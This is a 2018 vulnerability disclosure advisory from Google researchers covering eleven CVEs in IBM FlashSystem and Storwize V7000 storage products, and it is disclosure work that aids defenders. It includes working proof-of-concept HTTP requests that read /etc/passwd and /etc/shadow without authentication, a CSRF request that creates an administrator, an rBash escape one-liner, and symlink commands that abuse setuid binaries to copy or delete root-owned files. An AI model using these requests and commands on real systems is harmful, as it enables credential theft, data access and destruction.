Vulnerabilities in IBMs Flashsystems and Storwize Products ------------------------------------------------------------------------- Introduction ============ Vulnerabilities were identified in the IBM Flashsystem 840, IBM Flashsystem 900 and IBM Storwize V7000. These were discovered during a black box assessment and therefore the vulnerability list should not be considered exhaustive; observations suggest that it is likely that further vulnerabilities exist. It is strongly recommended that IBM Corporation undertakes a full whitebox security assessment of this application. The version under test was indicated as: 1.6.2.2 build 18 Affected Software And Versions ============================== - IBM Flashsystem 900 - IBM Flashsystem 840 - IBM Storwize V7000 Affected versions are indicated directly within the reported issues. CVE === The following CVEs were assigned to the issues described in this report: CVE-2018-1438 CVE-2018-1433 CVE-2018-1434 CVE-2018-1462 CVE-2018-1463 CVE-2018-1464 CVE-2018-1495 CVE-2018-1467 CVE-2018-1465 CVE-2018-1466 CVE-2018-1461 Vulnerability Overview ====================== 01. CVE-2018-1438: Unauthenticated arbitrary file read on V7000 Unified allowing storage data access 02. CVE-2018-1433: Unauthenticated arbitrary file read via the DownloadFile Handler / Authenticated arbitrary file read via the DownloadFile Handler on v7000 Unified 03. CVE-2018-1434: Web interface vulnerable to CSRF 04. CVE-2018-1462: rBash ineffective as a security measure 05. CVE-2018-1463: World readable credentials and encryption keys 06. CVE-2018-1464: Sensitive file disclosure of files readable by root 07. CVE-2018-1495: Arbitrary file overwrite 08. CVE-2018-1467: Unauthenticated information disclosure 09. CVE-2018-1465: Unprivileged web server process may read SSL private key 10. CVE-2018-1466: Weak password hashing algorithm used 11. CVE-2018-1461: Missing Security Related HTTP Headers Vulnerability Details ===================== --------------------------------------------- CVE-2018-1438. Unauthenticated arbitrary file read on V7000 Unified allowing storage data access --------------------------------------------- On the IBM V7000 Unified System the web handler /DLSnap does not require authentication and allows to read arbitrary files from the system as "root", including the data stored in the storage system from the mounted shares. GET /DLSnap?filename=/ibm/<redacted>/secret-file.txt HTTP/1.1 Host: v7ku01 Connection: close Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: Expires: Wed, 31 Dec 1969 16:00:00 PST X-Frame-Options: SAMEORIGIN Set-Cookie: SonasSessionID=<redacted>; Path=/; Secure; HttpOnly Content-disposition: attachment; filename=secret-file.txt Pragma: Content-Type: application/octet-stream Date: Tue, 16 Jan 2018 11:12:39 GMT Connection: close Content-Length: 4 42 -------------------------------------------------- CVE-2018-1433. Unauthenticated file read via the DownloadFile Handler / Authenticated arbitrary file read via the DownloadFile Handler on v7000 Unified -------------------------------------------------- In case of the following list of products, the DownloadFile handler allows unauthenticated file reading under the "webadmin" user: IBM Flashsystem 900 IBM Flashsystem 840 IBM Storwize V7000 Example request: GET /DownloadFile?filename=/etc/passwd HTTP/1.1 Host: v7k01n02 Connection: close Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 On the V7000 Unified the same request handler allows reading arbitrary files under the "root" user, however authentication is required here: GET /DownloadFile?filename=/etc/shadow Host: v7ku01 Connection: close Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: <redacted> ----------------------------------------------- CVE-2018-1434: Web interface vulnerable to CSRF ----------------------------------------------- The main web interface on the V7000 Unified is vulnerable to CSRF and other interfaces seem to be vulnerable as well. This could allow an external attacker to execute commands on behalf of a user/administrator of the system and potentially also access data stored on the system. Example request (using a cross domain XMLHttpRequest): POST /RPCAdapter HTTP/1.1 Host: v7ku01 Origin: https://www.example.com Referer: https://www.example.com/create_admin.html Content-Type: text/plain Connection: close Content-Length: 183 Cookie: <redacted> {"clazz":"com.ibm.evo.rpc.RPCRequest","methodClazz":"com.ibm.sonas.gui.logic.AccessRPC","methodName":"launchCreateUserTask","methodArgs":["my-secadmin","<redacted>",["Administrator"]]} Response: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN Content-Type: application/json;charset=UTF-8 Content-Length: 319 Connection: close {"clazz":"com.ibm.evo.rpc.RPCResponse","messages":null,"result":{"clazz":"com.ibm.sonas.gui.logic.tasks.access.CreateUserTask","shouldBeScheduled":true,"started":1516202190188,"id":"<redacted>","name":"Create User", "state":"Running","status":"Task started.","progress":-1,"returnValue": null}} --------------------------------------------- CVE-2018-1462: Ineffective rBash Configuration --------------------------------------------- On machines with a restricted bash, a possible escape from rBash looks like the following: BASH_CMDS[escape]=/bin/bash;escape -------------------------------------------------- CVE-2018-1463: World readable credentials and encryption keys -------------------------------------------------- While some systems have removed the world-read bit from several files and directories, more important files which contain application configuration details, passwords and secret keys are world readable and sometimes also world writable. On the IBM Flash System, this also includes the storage encryption key. # Partial directory listing of /persist/ on the Unified system: drwxr-xr-x. 2 root root 4096 Jan 18 01:35 . drwxr-xr-x. 29 root root 4096 Aug 15 16:16 .. ... -rw-r--r--. 1 root root 27040 Jan 16 08:28 vpd ... # Partial directory listing of /mnt/plfs on the Flash system: drwxrwxrwx 4 root root 0 Dec 31 1969 . drwxr-x--x 7 root root 1024 Jan 8 07:41 .. -rw-rw-rw- 1 root root 24 Oct 24 2016 encryption.key ----------------------------------------------- CVE-2018-1464: Sensitive file disclosure of files readable by root ----------------------------------------------- The setuid binary svc_copy is a wrapper around the script sw_copy which calls cp on the shell. Creating a symlink to any file, this file can be copied as root to /dumps and is world readable/writable (-rw-rw-rw- ): $ ln -s /etc/shadow /tmp/shadow $ ./svc_copy /tmp/shadow /dumps/ The file /dumps/shadow is now world readable with the permissions (-rw-rw-rw- ) --------------------------------------------- CVE-2018-1495: Arbitrary file deletion --------------------------------------------- The setuid binary log_cleanup is a wrapper around log_cleanup.py This binary wipes the directories /dumps or /tmp and has an undocumented feature "-s" (delete target of symlink). The following command deletes an arbitrary file (e.g. /etc/shadow): $ ln -s /etc/shadow /tmp/shadow $ ./log_cleanup -s Select /tmp as target directory to be wiped -------------------------------------------------- CVE-2018-1467: Unauthenticated information disclosure -------------------------------------------------- Some web handlers on the V7000 Unified expose system configuration without authentication which could be used by an attacker to collect vital details about the environment. https://v7ku01/SonasInfoServlet?challenge=1 CLUSTER_ID=<redacted>;NAME=<redacted>.ibm;PROFILE=V7000 Unified;SYSTEM_NAME=<redacted>.ibm;mgmt001st001=<redacted>;mgmt002st001=<redacted>;idMapConfig=10000000-299999999,1000000;adHost<redacted>;krbMode=off;domain=<redacted>;idMapRole=master;realm=<redacted>;userName=<redacted>;idMappingMethod=auto;passwordServer=*;AUTH_TYPE=ad;IDMAP_10000000-10999999=ALLOC,ALLOC,auto;IDMAP_11000000-11999999=BUILTIN,S-1-5-32,auto;IDMAP_12000000-12999999=<redacted>,S-1-5-21-<redacted>,auto;IDMAP_13000000-13999999=<redacted>,S-1-5-21-<redacted>,auto; CHALLENGE <redacted> ----------------------------------------------- CVE-2018-1465: Unprivileged web server process may read SSL private key ----------------------------------------------- The current private key for the installed SSL certificate on the V7000 FC CE Cannister Node is readable by the webadmin user: -rw-r----- 1 webadmin 1000 1679 Aug 15 09:47 /dev/server.key As a result the file can be read through vulnerabilities in the web application, e.g. via the DownloadFile handler (see separate issue). Certificate details: Validity: 15 years Subject: C=GB, L=Hursley, O=IBM, OU=SSG, CN=2076, emailAddress=support@ibm.com --------------------------------------------- CVE-2018-1466: Weak password hashing algorithm used --------------------------------------------- The root password on the V7000 (CE) FC Cannister and Flash System nodes (and probably others, too) are hashed with a weak algorithm (DES) instead of the SHA512 which is the system's default according to /etc/login.defs. -------------------------------------------------- CVE-2018-1461: Missing Security Related HTTP Headers -------------------------------------------------- XSS Protection HTTP Header The XSS Filter is a feature that is built into modern web browsers and is meant to prevent reflective Cross Site Scripting attacks. This feature can be explicitly turned on (and also off) by using the HTTP header X-XSS-Protection. X-Content-Type Header To make MIME type confusion attacks harder, the HTTP header X-Content-Type-Options can be set. This header prevents trusting the user provided MIME type and instead guessing the MIME type of the server response. Author ====== The vulnerabilities were discovered by Sebastian Neuner (@sebastian9er) and Jan Bee from the Google Security Team. Timeline ======== 2018/01/26 - Security report sent to psirt@us.ibm.com with 90 day disclosure deadline (2018/04/26). 2018/01/29 - IBM acknowledges report and starts working on the issues. 2018/04/13 - IBM requested grace period due to internal patch cycle. 2018/04/16 - Google granted two week grace period (from 2018/04/26 to 2018/05/11). 2018/05/11 - Public disclosure on the Full Disclosure/Bugtraq Mailing List.